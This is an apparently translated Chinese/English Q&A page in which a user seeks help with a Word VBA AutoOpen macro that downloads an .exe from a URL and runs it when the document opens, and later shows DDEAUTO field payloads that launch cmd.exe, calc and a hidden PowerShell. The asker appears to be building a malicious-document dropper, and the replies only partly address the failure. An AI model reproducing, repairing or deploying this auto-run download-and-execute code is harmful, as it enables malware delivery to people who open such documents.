使用VB代码在VB宏中运行远程文件时访问被拒绝错误 [英] Access denied error running remote file in VB macro using VB code

查看:94
本文介绍了使用VB代码在VB宏中运行远程文件时访问被拒绝错误的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

Hello Gurus,

我有一个托管在cpanel中的文件,以便可以调用该文件,运行此VB宏代码使应用程序运行Windows操作系统附带的计算器应用程序但是同样的方法可用于从URL调用文件,但运行运行代码会带来错误,我似乎不知道发生了什么,请协助我完成这项工作。



以下是代码:



Hello Gurus,
I have a file hosted in cpanel so that the file can be called, running this VB Macro code makes the application run the calculator application that comes with windows operating system but the same approach can be used to call file from a URL but running running the code brings error that i dont seem to know what is going on, please assist me in getting this done right.

The following is the code :

Sub AutoOpen()

Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://sample.com/test.exe", False
xHttp.Send

With bStrm
 .Type = 1 '//binary
 .Open
 .write xHttp.responseBody
 .savetofile "test.exe", 2 '//overwrite
End With

Shell ("test.exe")

End Sub





上面的VB代码应该从URL下载.exe文件并运行它,但是它给出了我运行它时访问被拒绝错误。



请有人帮忙。



我的尝试:



我运行了代码但是访问被拒绝错误并且无法下载文件但是如果使用本地应用程序运行相同的代码,它将完美运行。



请帮助。



The above VB code is supposed to download the .exe file from the URL and run it, but it is giving me access denied error when i run it.

Please somebody should help.

What I have tried:

I ran the code but having access denied error and couldnt get the file downloaded but if same code was run using local application, it will run perfectly.

Please help.

推荐答案

与您的网络托管服务对话:他们可能阻止您执行出于安全原因,奇怪的程序。因为他们不知道你下载和运行的是什么,我不能说我责备他们......
Talk to your web hosting service: they have probably blocked you from executing "strange programs" for security reasons. And since they have no idea what the heck you are downloading and running, I can't say I blame them...


你不是运行远程​​文件。你只是下载一个文件并在本地运行它。



如果这是你正在使用的实际网址,我并不感到惊讶它不起作用。



CPanel与此无关。 CPanel是网站的控制面板,而不是网站本身。该文件不会存储在CPanel中的任何位置。它只能通过托管它的网站访问。



那么,当你将你正在使用的URL放入网络浏览器时会发生什么?
You're not "running a remote file". You're just downloading a file and running it locally.

If that's the actual URL you're using, I'm not surprised it's not working.

CPanel has nothing to do with this. CPanel is a control panel for the website, not the website itself. The file isn't stored "in CPanel" anywhere. It's only accessible through the website hosting it.

So, what happens when you put the URL you're using into a web browser?

Thank you, the file is just hosted in the CPanel so that it can be downloaded to the local system and run locally, so this is not the issue of cpanel per say. The question, "so what happens when you put the URL you're using into a web browser?" All programmers know that the browser cannot run an exe file, so  the file cannot be run through browser but can only be downloaded. The file is just there but it is giving access denied error to download that file from the same URL that downloaded the file when you paste the URL in browser. 

I have thought using DDEAuto of the MS Word to download the file but that is not working either. The following DDEAUTO code execute the "Calc.exe" calculator application in windows through DDEAUTO from MS Word file but when you put a URL there, it will not work too. Check the DDEAuto code that worked for Calc.exe file below :

DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" ==========This code Worked and run immediately after you open a MS Word file

DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden


这篇关于使用VB代码在VB宏中运行远程文件时访问被拒绝错误的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆